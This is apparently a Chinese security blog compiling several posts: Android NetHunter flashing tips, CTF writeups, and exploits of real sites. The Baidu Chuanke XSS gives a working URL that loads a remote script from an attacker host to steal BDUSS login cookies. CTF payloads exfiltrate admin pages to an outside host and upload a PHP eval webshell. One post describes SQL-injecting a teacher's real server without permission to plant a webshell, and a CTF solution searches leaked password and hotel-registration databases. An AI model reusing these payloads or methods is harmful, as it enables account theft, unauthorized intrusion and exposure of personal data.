一加3t/oneplus3t 刷nethunter的一些坑

https://build.nethunter.com/nightly/

在这里下载最新的工具包和内核包 但是要注意的是手机本体的镜像版本不能太高

cm停止更新了,在网上不怎么好找下载源 我就用的

(基本上最新的nethunter镜像只能支持 android 7.0 7.1.1之类的,如果版本高了刷了内核会直接无法开机)

OnePlus3TOxygen_28_OTA_055_all_1708181537_507f4116c0a74095.zip

这个镜像作为基础镜像

进入 fastboot模式后 先刷入

twrp-3.2.1-0-op3-op3t-20180103.img

然后 启动它

fastboot flash recovery twrp-3.2.1-0-op3-op3t-20180103.img

fastboot boot twrp-3.2.1-0-op3-op3t-20180103.img

(先刷了基础镜像再重启,再次刷的时候要重复刷一遍twrp)然后用adb 写入nethunter的内核包和工具包到/sdcard/

先刷了内核包然后刷的工具包

刷完之后在twrp里面高级选项可以选择刷入 supersu 同时这个包里似乎自带了busybox

全部刷完之后开机就可以看到kali的动画

进了桌面之后可能还是因为系统版本比较高的缘故 很多软件闪退

研究之后发现 要先往手机下一个第三方的安卓终端

然后进kali nethunter app 先部署下chroot

再回到安卓终端执行 bootkali 这下应用就不会闪退了

 

上面是第一堆坑

接下里的坑是关于OTG的,手机内置的wifi网卡不支持那些高端的操作

所以需要外置的网卡+otg

我买了第一块网卡是 rt3070 插了没反应 我以为是不支持。。

于是又买了另一块 wn722n 插上去还是不支持

然后就是疯狂google 然而对于这个问题似乎没有多少答案。。。

本来以为可能要交叉编译自己编译驱动了(对交叉编译的难度望而却步)

研究了好久发现在/lib/modules下面明明已经有了这些网卡的驱动。

终于在一个github 下的 issue下发现了正解

modprobe ath9k_htc
ifconfig -a
modprobe rt2800usb
对于我的第一块网卡 芯片是 rt2870/3070
所以要先执行modprobe rt2800usb
大概意思就是加载一下这个驱动
然后执行ifconfig -a 就能看到这块网卡了
ifconfig wlan1 up 就能启动这块网卡
其他的网卡也类似 ath9k_htc 是atheros芯片的网卡驱动 wn722n就是这个芯片 所以加载完这个驱动就可以了,同上
还有就是我看到
http://www.freebuf.com/wireless/163480.html
然后就跟着尝试了下
https://github.com/qingxp9/PPPoE-Phisher
代码在这。我一开始用的是我MAC的usb网卡转接口,但是查阅了驱动似乎要自己编译???
编译过程中 /lib/modules/2.18.31+perf/build 这个目录不存在 经过一番查阅似乎是安卓系统就这样 编译完不像linux会保留这个文件夹(似乎?)
总之一番折腾之后 还是失败 后来就放弃了
准备淘宝买一个新的网卡。。。。
买来之后还是不能用!!!
研究发现这两块网卡都是 ax77xxxxx 这样的型号的
查找发现网卡芯片似乎叫 asix????
然后到/lib/modules下面找到了这么个文件
再执行 modprobe asix 就可以了。。。
坑爹啊- - 总结就是 /lib/modules 下面的那些ko驱动文件并没有触发某种规则被自动加载
把我恶心坏了- - 也不想去研究自动加载了
因为愚蠢 白白多买了两个设备。。。损失200大洋
哦对了 还没说完 上面那个Pppoe我配置完死活嗅探不到
最后发现它install时输出的配置文件里面多了一个 -e
在bash 和shell环境下 似乎是有差异的
把配置文件里多输出的 -e删掉 就能正常嗅探到了(ctrl-c时关闭的是tshark,pppoe会运行在后台 pkill pppoe杀掉即可)
真的心累- -

【一年更一篇】去年挖的一个有趣的逻辑洞

Chuanke.com

目标站是百度传课。

该网站是利用百度账号登录的,而且涉及到了百度的HTTPONLY cookie BDUSS

所以我们可以先来看一下他的登录机制。

这个请求是关键的一个请求

cksync.baidu.com

可以看到是向 *.baidu.com发出的请求

由于登录百度账号之后,*.baidu.com都被设置了COOKIE

就是BDUSS这一个通行证

所以他会带着BDUSS去访问cksync.baidu.com

可以看看请求返回了什么

http://passport.chuanke.com/

带着参数跳转到了这个域名,而这个域名就是chuanke.com的了

后面的参数 大概就是加密之后的BDUSS

由于不知道加密方式,所以也没法直接解密

但是这不是重点,先看后面的。

可以看到,参数似乎还可以额外附加?

的确可以加一点参数。

想起了呆老师的一个漏洞

http://cb.drops.wiki/bugs/wooyun-2015-0148110.html

这个漏洞里面运用了一个技巧。就是让页面强行停止跳转

可以看到 他这个站点的跨域登录凭证传输

是一个道理

那呆老师怎么通过一个XSS拿到登录凭证的呢。。继续看

他是通过xss,给bobo.com设置了超长的cookie

这样服务器那边就会出错,没法进行后一步的跳转

也就使得URL停留在了带凭证的这一步

那么通过XSS我们就能拿到这个停止跳转的URL

然后就可以用这个URL拿到受害者的COOKIE了

我的思路也类似呆老师的

让带凭证的请求访问出错即可。

可以看到%0a在第一个请求的时候正常输出了

那我们跟随跳转看看

可以看到出错了,返回了404.

那如果没有%0a,是会正常跳转的,我们也就没法通过这个域的XSS拿到他的COOKIE了

可以看到她通过凭证获取到BDUSS后,再一个302跳转

跳转到了其他页面

所以我们现在就差一个passport.chuanke.com域的XSS了

这是另一个关键请求

显而易见的是URL里面有一段BASE64编码的内容

而往往这样的内容经常被解码后直接输出到页面中

这样仿佛就是一个自带的编码,绕过浏览器的xss过滤器..

可以看到的确是这个编码,那我们再来验证下,到底是不是输出到了页面中

可以看到,这里的确解码后输出到了页面里,而且没有对字符做过滤

所以此时我们就得到了一个浏览器通杀的XSS

可以看到。成功弹窗了!

由于页面中加载了jquery,所以我们payload也挺好写的

这里是一段我已经写好的 payload

大意就是新建一个窗口,URL是

http://cksync.baidu.com/api/bducsync/mode/1%0a

这样的,然后等他跳转完之后,通过技巧让他URL停留在带凭证的一步

然后将此时的URL传输出去

这样我们接收到这样的URL就可以直接获取到受害者的登录凭证了

由于页面里面调用了jquery

所以payload很简单

http://passport.chuanke.com/login/index/ret/aHR0cDovL3d3dy5jaHVhbmtlLmNvbS5hc2QiPjxpbWcgb25lcnJvcj0iJC5nZXRTY3JpcHQoJ2h0dHA6Ly93YXkubnVwdHpqLmNuL2NodWFua2UvZ2V0YmR1c3MuanMnKSIgc3JjPSI=

让受害者访问这个URL

只要他登陆着百度的账号,我们就能拿到他的登录凭证了。试验一下

这个请求就是把URL传输出来的,这时候我已经收到了受害者的请求

这个时候到隐身模式请求下

就可以拿到受害者的BDUSS了

可以看到 隐身模式下访问这个URL

直接会返回受害者的BDUSS

没装那个插件- -

出了点小问题

重新试下

可以看到这就是最重要的COOKIE

登录成功。

漏洞录像 链接: https://pan.baidu.com/s/1nwXZgVn 密码: 3yj6

【0ctf】比赛的一些笔记

这次比赛难度确实比较大。pwn题目听说质量很高
就WEB而言的话,注入题没有太多也一般,更多的好像是考前端安全的(也稍微合点口味)。
第一个比赛是一个跨域的xss。输入点是在 government.vip ,输入没有任何过滤。

那个MD5用python简单爆破下就可以。

由于没有任何过滤 所以就可以直接打了。转到http://admin.government.vip:8000/看看,发现以默认的test test登陆后,cookie里面会有一个username字段,并且这个字段的内容会没有任何转义的输出在html里面

所以现在跨域XSS的思路就有了:
在government.vip触发XSS-->在根域设置COOKIE,把payload写入到username字段里-->用js跳转或者新建一个iframe打开admin.government.vip:8000,在admin域触发XSS

第一段代码
<script> function setCookie(name, value, seconds) { seconds = seconds || 0; //seconds有值就直接赋值,没有为0,这个根php不一样。 var expires = ""; if (seconds != 0 ) { //设置cookie生存时间 var date = new Date(); date.setTime(date.getTime()+(seconds*1000)); expires = "; expires="+date.toGMTString(); } document.cookie = name+"="+value+expires+"; path=/;domain=government.vip"; //转码并赋值 } setCookie('username','<iframe src=\'javascript:eval(String.fromCharCode(118, 97, 114, 32, 115, 115, 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 115, 115, 115, 46, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 119, 97, 121, 46, 110, 117, 112, 116, 122, 106, 46, 99, 110, 47, 98, 97, 105, 100, 117, 47, 120, 115, 115, 46, 106, 115, 34, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 115, 115, 41, 59))\'></iframe>',1000) var ifm=document.createElement('iframe');ifm.src='http://admin.government.vip:8000/';document.body.appendChild(ifm); </script> 

这个代码会把恶意代码写入到cookie,并且打开一个admin域的iframe触发他

要注意的是admin域做了一个sandbox 删除了xmlhttp的对象以及几个函数,此时我想到的是可以用iframe新建一个新的dom树,用javascript伪协议加载我们的代码,这样就可以避开这些限制

第一次调用的payload的是读HTML的,因为题目说只有管理员有权限上传shell
function ajax(opt) {
opt = opt || {};
opt.method = opt.method.toUpperCase() || 'POST';
opt.url = opt.url || '';
opt.async = opt.async || true;
opt.data = opt.data || null;
opt.success = opt.success || function () {};
var xmlHttp = null;
if (XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
}

else {
xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
}var params = [];
for (var key in opt.data){
params.push(key + '=' + opt.data[key]);
}
var postData = params.join('&');
if (opt.method.toUpperCase() === 'POST') {
xmlHttp.open(opt.method, opt.url, opt.async);
xmlHttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;charset=utf-8');
xmlHttp.send(postData);
}
else if (opt.method.toUpperCase() === 'GET') {
xmlHttp.open(opt.method, opt.url + '?' + postData, opt.async);
xmlHttp.send(null);
}
xmlHttp.onreadystatechange = function () {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
opt.success(xmlHttp.responseText);
}
};
}
ajax({
method: 'GET',
url: 'http://admin.government.vip:8000/',
success: function (response) {
var f = document.createElement("form");
document.body.appendChild(f);
var i = document.createElement("input");
i.type = "hidden";
f.method="POST";
f.appendChild(i);
i.value = response;
i.name = "price";
f.action = "http://demo.nuptzj.cn:7777/";
f.submit();
}
});

 

顺利调用这次payload读到了管理员的页面,发现上传的页面是 /upload 文件变量名就是file。那么此时再用xmlhttp上传文件然后拿到响应包应该就是flag了

var xhr = new XMLHttpRequest();xhr.open("POST", "http://admin.government.vip:8000/upload", true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryFikh4XTsUA3KuSES");
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8");
xhr.withCredentials = true;
var body = "------WebKitFormBoundaryFikh4XTsUA3KuSES\r\n" +
"Content-Disposition: form-data; name=\"233\"\r\n" +
"\r\n" +
"eyJzY3JlZW5faGVpZ2h0Ijo4MjYsInNjcmVlbl93aWR0aCI6MTQ0MH0\r\n" +
"------WebKitFormBoundaryFikh4XTsUA3KuSES\r\n" +
"Content-Disposition: form-data; name=\"source_flag\"\r\n" +
"\r\n" +
"0\r\n" +
"------WebKitFormBoundaryFikh4XTsUA3KuSES\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\n" +
"Content-Type: image/png\r\n" +
"\r\n" +
"GIF89a\x3c?php eval($_REQUEST[A]);?\x3e\x3c/script\x3e\r\n" +
"------WebKitFormBoundaryFikh4XTsUA3KuSES--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.onload = uploadComplete;
xhr.send(new Blob([aBody]));
function uploadComplete(evt) {
//服务断接收完文件返回的结果
// alert(evt.target.responseText);
var i = document.createElement("input");
var f=document.body.appendChild(f);
i.type = "hidden";
f.method="POST";
f.appendChild(i);
i.value = evt.target.responseText;
i.name = "price";
f.action = "http://demo.nuptzj.cn:7777/";
f.submit();
}

这样的payload是我之前用burpsute生成的csrf payload 以及从网上找的回调函数。

最终就通过这个payload读到了 flag

(代码略有改动,有基础由于是在ifame伪协议,所以子元素没法append到body上。具体怎么改我也忘了反正就记一个思路)

 

第二题XSS没什么好说的。。记录一下
没有过滤< 就利用下文的标签闭合(了)?
然后域名是输出在HTML中的,点号被过滤 可以用。代替. (可以想象这是一次伟大的兼容)。斜杠可以用反斜杠代替,效果一样

这次是用的link标签的xss

近期关于flash csrf学习的一点总结

这个月在百度的BSRC刷了一周,

提交了三个关于bduss劫持的漏洞

用一个图来概括吧。。

链接我贴出来:

http://www.wooyun.org/bugs/wooyun-2014-072951

(1)。找个地方上传swf
(2)。找个可以利用的图片上传点(参考http://drops.wooyun.org/tips/2031)
(3)。找个没有过滤的jsonp接口输出swf文件流(依旧参考上一条链接)
(4)。flash权限反射(参考http://drops.wooyun.org/papers/5732,http://weibo.com/p/1001603881940380956046)

 

SCTF的一点笔记

rsa:

yafu是分解大数的一个高效工具

地址:https://sourceforge.net/projects/yafu/files/latest/download?source=typ_redirect

wiener-attack是针对rsa中d的攻击工具

链接:https://github.com/pablocelayes/rsa-wiener-attack

rsatool可以用来生成rsa的私钥

地址:https://github.com/ius/rsatool

openssl用来对一些标准格式的rsa加解密

kali已经自带,就不贴地址了

openssl rsautl -decrypt -in xxxx -inkey -out out.txt

openssl还可以在命令里输出公钥的两个值

openssl rsa -in pek -pubin -text -modulus

在这里要注意被加密的文件的文件格式有个选项是啥来着忘了,可以-h看一下

 

WEB:

Phar://伪协议可以用来包含压缩文件执行(本地包含,大小写都可以)

Phar:///tmp/asdf/aaa.php

如果上面这个字符串被包含,那么/tmp/asdf这个文件会被解压缩,并且里面aaa.php文件会被包含

类似的:

Zip://伪协议也可以包含压缩文件

Zip:///tmp/asdf#aaa

效果同上,具体内容可以参考php官网

这两个文件包含,如果遇到了,但是没有文件上传点,但是给了phpinfo页面的话,可以通过上传文件,时间竞争来包含getshell,对任意php上传文件,会在tmp目录留下临时文件,但是一旦上传好就会把文件删掉,所以我们只能通过脚本重复发包。争取在文件被删除之前包含它。至于文件路径,会在phpinfo中被当做全局变量输出出来。所以可以用自动化脚本去上传,读路径,包含

这里附上一个脚本web200

要使用的时候需要更改目标地址,目标页面地址,以及文件的16进制

 

做web还跟jj学到了一个新姿势,如果命令执行过滤了空格,可以用<>来绕过

比如,php<"/tmp/code.php">"/tmp/result.txt"

这条命令里面没有空格,会执行code.php里面的代码并且把输出重定向到result.txt里面

还有个注意点就是做命令执行题目的时候,很可能ls命令没法列出所有文件,我们可以去php里面找相关函数来列文件

http://www.freebuf.com/articles/web/54086.html

这里可以对抗php里面 imagecreatefromgif这类函数,使得被php_gd库修改之后的图片中仍存在恶意代码。OTZ原来这一题不需要时间竞争

xpath injection这次没做,傻杰哥做出来了。有时间我要补补

 

关于pwn,pwn一直是我们的痛处,web题在比赛的时候坑太多太多。。感觉是时候学一波pwn了。。

【安恒429】对web3的一点理解

参考资料:

http://www.jb51.net/article/56305.htm

http://drops.wooyun.org/tips/3909

http://cn.php.net/manual/zh/session.configuration.php

web3 总共包括三个文件 index.php class.php phpinfo.php

全都给出了源码,并且给了我们一个phpinfo页面

index.php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

class.php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "
文件".$this->varr."存在
";
}
echo "
这是foo1的析构函数
";
}
}

class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "
这是foo2的析构函数
";
}
}

class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "
这是foo3的析构函数
";
}
}

?>

phpinfo.php

session_start();

require("./class.php");

$f3 = new foo3();

$f3->varr = "phpinfo();";

$f3->execute();

?>

从phpinfo页面中 我们可以知道几个信息

PHP Version 5.6.19
session.auto_start Off Off
session.serialize_handler php_serialize php_serialize
session.upload_progress.cleanup Off Off
session.upload_progress.enabled On On
session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefix upload_progress_ upload_progress_

php.ini里面设置的php反序列化处理器是php_serialize

而在index.php中的处理器是php

此时session.auto_start=Off,就会导致反序列化漏洞,可以实例化我们构造好的对象,并执行类中的__wakeup()以及__destruct(),__construct()等内置的自动触发的方法

参考资料:http://drops.wooyun.org/tips/3909

结合文件代码,看到这里大概我们就知道了,这一题要构造出执行链,然后序列化之后输入到session中,通过反序列化注入对象,并且执行我们想要的命令

这时候问题就来了,输入点在哪?

通读代码,并没有发现$_GET $_POST $_COOKIE等方法。

但是代码中启用了session 所以这里可以用一个奇淫技巧向session里面注入我们构造的数据。

session.upload_progress.enabled=On时

当浏览器向服务器端上传一个文件时,PHP将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中。然后,随着上传的进行,周期性的更新session中的信息。

所以我们就可以自己构造一个上传表单,在表单中注入我们的反序列化字符串

其中enabled控制upload_progress功能的开启与否,默认开启;cleanup 则设置当文件上传的请求提交完成后,是否清除session的相关信息,默认开启。

在上传文件的表单中,需要为该次上传设置一个标识符,并在接下来的过程中使用该标识符来引用进度信息。具体的,在上传表单中需要有一个隐藏的input,它的name属性为php.ini中 session.upload_progress.name 的值;它的值可以由自己定义(假设是“test”)

那么文件上传的信息会存在session的session.upload_progress.prefix+session.upload_progress.name字段里。

在php.ini默认设置的情况下,我们定义的值为test

那么在文件的信息就会存在于$_SESSION['upload_progress_test']中,打印出这个字段的结构后,我们就可以知道,我们可控的字符串字段包括文件名,表单的文件变量名,session.upload_progress.name等。

此时完整的利用链就出来了。

先通过构造文件上传表单,在session中创建一个构造好的反序列化字符串。

然后在通过这里的反序列化缺陷,让他自动执行我们的恶意代码

仔细阅读class.php

$foo1=new foo1();
$foo2=new foo2();
$foo3=new foo3();
$foo3->varr="system('#code to execute#');";
$foo2->obj=$foo3;
$foo1->varr=$foo2;
echo serialize($foo1);

上面的语句可以构造出序列化之后的命令执行

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:31:"system('ls -al /var/www/html');";}}}

这样就可以执行命令了~~

在构造一下cat /var/www/html/flag_Z11O65g9uWbBUokxujdkc763h83hhZUuzoXe.php

就可以读出来flag了

 

【安恒429】两题writeup

rsa算法原理参见:http://www.ruanyifeng.com/blog/2013/07/rsa_algorithm_part_two.html

题目:

{920139713,19}

704796792
752211152
274704164
18414022
368270835
483295235
263072905
459788476
483295235
459788476
663551792
475206804
459788476
428313374
475206804
459788476
425392137
704796792
458265677
341524652
483295235
534149509
425392137
428313374
425392137
341524652
458265677
263072905
483295235
828509797
341524652
425392137
475206804
428313374
483295235
475206804
459788476
306220148

猜测给出的是公钥。

用python可以穷举出两个素数分别是18443 * 49891

于是得到方程:19x+920071380y=1

用拓展欧几里得求解

def extendedGCD1(a, b):
# a*xi + b*yi = ri
if b == 0:
return (1, 0, a)
(x, y, r) = extendedGCD1(b, a%b)
"""
gcd(a, b) = a*xi + b*yi
gcd(b, a % b) = b*xi+1 + (a - [a/b]*b)*yi+1
gcd(a, b) = gcd(b, a % b) => a*xi + b*yi = a*yi+1 + b*(xi+1 - [a/b]*yi+1)
xi = yi+1
yi = xi+1 - [a/b]*yi+1
"""
tmp = x
x = y
y = tmp - (a/b) * y
return (x, y, r)
a,b,c=extendedGCD1(19,920071380)
print a,b,c

x=96849619 y=-2

那么私钥就有了,写Py解密

a=[704796792,752211152,274704164,18414022,368270835,483295235,263072905,459788476,

483295235,459788476,663551792,475206804,459788476,428313374,475206804,459788476

,425392137,704796792,458265677,341524652,483295235,534149509,425392137,428313374,

425392137,341524652,458265677,263072905,483295235,828509797,341524652,425392137,

475206804,428313374,483295235,475206804,459788476,306220148]
flag=''
for i in range(0,len(a)):
flag+=chr(pow(a[i],96849619,920139713))
print flag

结果:

 

第二题:社工题

线索:https://www.douban.com/group/topic/5221588/?start=200

第一步在"喜欢"里找到了出题人

点击看他个人信息:

得到三个信息

1.weiluchuan12341127@163.com

2.听说163被拖库了,吓得我立马改了密码,但原密码是我的密钥啊怎么办

3.evL5S5J+a5HzxAKR8xXiUXPUd1LDKPYYNHSjN6ZF8i0=

意思是,找到邮箱的密码,作为密钥解开上面的密文

于是结合到前段时间传的一个163密码泄露,通过一个网址查询到密码http://163password.download/

weiluchuan12341127@163.com----63542021127

在根据得到的密文和密钥去找解密。。

放一个解密网址:https://www.tools4noobs.com/online_tools/decrypt/

接下来就跟踪到微博。。。http://www.weibo.com/u/3192503722

在微博好一顿找,过程不赘述。

在相册找到三个线索

姓名:董进 10年开过房 flag是身份证+之前的那个密钥

联想到开房信息的泄露,于是找一个网站进行检索http://www.kfzlk.com/index.asp?keyword=%B6%AD%BD%F8

试了几个叫董进的,10年开房的。。。。

然后就成功了

【渗透】一次毫无技术含量渗透某老师的微信点名服务器

0x01

信息搜集

从微信端获得如下url

https://wwxt.ngrok.natapp.cn/CMS2/register.php

http://wwxt.ngrok.natapp.cn/CMS2/reg.html

 

0x02

手动探测

在reg.php中发现一个ajax请求。url是:service.php?action=queryStudentInfo&stu_id=

从功能上来看是一个获取用户信息的ajax接口,既然和数据库操作相关,那么会不会存在注入呢?简单粗暴的丢到了sqlmap里,结果发现一片红,应该是被防火墙给拦截了。同时ip也被ban了,无法访问http了。

打开cmd ping了一下服务器 发现是ping的通的。

于是推测 仅仅限制访问了http

打开kali 用nmap扫了一下端口,发现开放了443

于是改用https协议访问,返回正常。

这下也不敢用工具了,直接开始手动注入

 

0x03

攻击&渗透

 

手动测试,发现很可能存在漏洞

上面那条语句应该返回了所有的用户信息,但是只取了第一条返回。

于是测试字段数

 

发现八个字段时返回正常,且显示位是3,4,7,8

看看数据库权限先~

 

看到root简直开心。。代表可以读文件、写文件 以及很大的权限

想直接写一个php木马到网站根目录,但是貌似不知道网站的根目录

所以先尝试下读apache的配置文件看看 能不能找到网站的根目录

 

用apache的默认路径成功读取到信息!

那么我们就得到了网站的根路径 /var/services/web/

尝试写一个php一句话木马

http://xxxxx ‘ union select 1,2,3,4,5,6,7,’<?php eval($_POST[hhh]);?>’ into outfile ‘/var/services/web/CMS2/hhh.php’%23

 

写入成功~~~

 

到这一步已经想干啥就可以干啥了 网站,数据库,微信全部可以控制了~

 

0x04

结尾

由于老师一夜之间就已经修复了漏洞,所以现在放出过程也没什么事。。。

好久没有渗透 全篇没什么技术含量

修复建议:

增加过滤函数防止注入

不要直接用root来操作数据库

 

JSONP窃取用户手机号

漏洞详情

被TSRC忽略了 理由是危害小。。
一、详细说明:

http://chong.qq.com/

只要通过这个站冲过话费的号码都可以被第三方网站嵌入jsonp页面读取出来
不知道其他的充值接口是不是也是这个
查询接口:http://chong.qq.com/tws/record/gethisphone4?func=getHisPhoneCallback&flag=1&dtag=1457667669835&g_tk=&g_ty=ls
g_tk可以为空,referer也没有做检测

二、漏洞证明:

 <script> function getHisPhoneCallback(data){ alert(JSON.stringify(data)); } </script> <script src="http://chong.qq.com/tws/record/gethisphone4?func=getHisPhoneCallback&flag=1&dtag=1457667669835&g_tk=&g_ty=ls"></script>


这是我用我的大号测试的

同时我用小号登录 直接访问会弹出一个空白框。
那是因为小号没有充值记录
于是我用小号给一个姑娘充了10块话费
然后再次访问
成功获取到了手机号